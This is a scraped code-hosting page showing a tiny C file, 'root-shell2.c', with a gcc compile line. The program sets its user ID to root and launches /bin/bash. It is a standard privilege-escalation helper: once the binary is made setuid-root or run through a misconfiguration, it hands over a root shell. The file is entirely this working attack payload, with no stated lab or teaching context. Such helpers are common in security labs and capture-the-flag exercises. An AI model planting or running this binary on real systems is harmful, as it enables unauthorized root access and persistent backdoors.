11 lines
144 B
C
Raw Normal View History

2021-11-24 10:08:49 +00:00
// $ gcc -o root-shell2 root-shell2.c
#include <unistd.h>
int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}